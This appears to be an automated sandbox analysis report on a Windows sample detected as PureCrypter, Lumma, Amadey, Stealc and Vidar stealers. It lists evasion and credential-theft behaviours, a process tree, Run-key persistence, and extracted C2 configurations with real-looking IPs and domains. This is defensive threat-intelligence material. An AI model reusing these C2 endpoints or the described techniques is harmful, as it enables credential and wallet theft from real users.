Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1555310
MD5:	d65607f5b37e8b0349921feca6ddae17
SHA1:	e1e65d7a209153a35e2f107e17192640cd58f907
SHA256:	b95f8586061a739534e67599e796b47c31dd4b392159533121ff6b68239743c9
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies windows update settings

Monitors registry run keys for changes

Overwrites Mozilla Firefox settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 712 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D65607F5B37E8B0349921FECA6DDAE17)

chrome.exe (PID: 2528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1916 --field-trial-handle=2228,i,18326572126976972864,15207654653039505024,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7848 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2184,i,1909656663810025514,11843164480242829136,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8744 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFBAKKJDBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsCFBAKKJDBK.exe (PID: 8796 cmdline: "C:\Users\user\DocumentsCFBAKKJDBK.exe" MD5: 9E19954BD113E38187CE4690720F936F)

skotes.exe (PID: 9120 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9E19954BD113E38187CE4690720F936F)

msedge.exe (PID: 8092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2788 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7876 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6928 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7092 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 6820 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 6888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8768 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7996 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3276 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7484 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8088 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6936 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8328 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9E19954BD113E38187CE4690720F936F)

0f2c5625b4.exe (PID: 8592 cmdline: "C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe" MD5: F3D952CDFB67A5DDF70E0E738DB76D96)

chrome.exe (PID: 8344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,7662599794859556948,6629486081676851329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

e88687d065.exe (PID: 6648 cmdline: "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe" MD5: D65607F5B37E8B0349921FECA6DDAE17)

skotes.exe (PID: 8152 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9E19954BD113E38187CE4690720F936F)

425e60de02.exe (PID: 2168 cmdline: "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe" MD5: 5D4E68EDEE731DA68E5B08C65919996A)

0f2c5625b4.exe (PID: 8116 cmdline: "C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe" MD5: F3D952CDFB67A5DDF70E0E738DB76D96)

e88687d065.exe (PID: 6424 cmdline: "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe" MD5: D65607F5B37E8B0349921FECA6DDAE17)

425e60de02.exe (PID: 9032 cmdline: "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe" MD5: 5D4E68EDEE731DA68E5B08C65919996A)

e88687d065.exe (PID: 5124 cmdline: "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe" MD5: D65607F5B37E8B0349921FECA6DDAE17)

425e60de02.exe (PID: 7820 cmdline: "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe" MD5: 5D4E68EDEE731DA68E5B08C65919996A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["thicktoys.sbs", "faintbl0w.sbs", "3xc1aimbl0w.sbs", "300snails.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000003.3060149212.0000000001400000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.2661641645.0000000000F71000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2920183132.00000000002D1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3049026525.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3021506606.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2970388782.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3004019061.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2925826433.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2901321266.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2962871618.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3036822838.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2870027262.000000000153E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3020923978.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2983449881.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2896656857.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2640317594.00000000009B1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2184019997.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3218595100.0000000008780000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2999302927.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.2922940562.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3023021151.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2962447541.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000002.3334792447.00000000002D1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2925233765.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2962953105.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2541025259.000000000179E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3000401526.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.3286978773.0000000006371000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.3288349906.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2925954372.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.2879634659.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3048641226.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3084154633.00000000002D1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2539790734.0000000000F71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2869996820.0000000001530000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 712	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 712	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 712	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 712	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8592	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8592	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8592	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e88687d065.exe PID: 6648	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e88687d065.exe PID: 6648	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8116	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8116	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8116	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8116	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0f2c5625b4.exe PID: 8116	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e88687d065.exe PID: 6424	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e88687d065.exe PID: 6424	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e88687d065.exe PID: 5124	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e88687d065.exe PID: 5124	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 53 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.skotes.exe.f70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsCFBAKKJDBK.exe.9b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8328, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0f2c5625b4.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 712, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2528, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8328, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0f2c5625b4.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:22.732049+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.6	49797	TCP
2024-11-13T18:09:01.305313+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.6	50106	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:13.215055+0100	2028371	3	Unknown Traffic	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:15.564601+0100	2028371	3	Unknown Traffic	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:17.893228+0100	2028371	3	Unknown Traffic	192.168.2.6	50131	172.67.174.133	443	TCP
2024-11-13T18:09:20.881550+0100	2028371	3	Unknown Traffic	192.168.2.6	50135	172.67.174.133	443	TCP
2024-11-13T18:09:24.113522+0100	2028371	3	Unknown Traffic	192.168.2.6	50137	172.67.174.133	443	TCP
2024-11-13T18:09:25.193467+0100	2028371	3	Unknown Traffic	192.168.2.6	50139	172.67.174.133	443	TCP
2024-11-13T18:09:27.012492+0100	2028371	3	Unknown Traffic	192.168.2.6	50145	172.67.174.133	443	TCP
2024-11-13T18:09:27.967418+0100	2028371	3	Unknown Traffic	192.168.2.6	50146	172.67.174.133	443	TCP
2024-11-13T18:09:29.124703+0100	2028371	3	Unknown Traffic	192.168.2.6	50148	172.67.174.133	443	TCP
2024-11-13T18:09:30.353294+0100	2028371	3	Unknown Traffic	192.168.2.6	50149	172.67.174.133	443	TCP
2024-11-13T18:09:31.000598+0100	2028371	3	Unknown Traffic	192.168.2.6	50150	172.67.174.133	443	TCP
2024-11-13T18:09:33.439587+0100	2028371	3	Unknown Traffic	192.168.2.6	50157	172.67.174.133	443	TCP
2024-11-13T18:09:37.536861+0100	2028371	3	Unknown Traffic	192.168.2.6	50161	172.67.174.133	443	TCP
2024-11-13T18:09:37.632619+0100	2028371	3	Unknown Traffic	192.168.2.6	50162	172.67.174.133	443	TCP
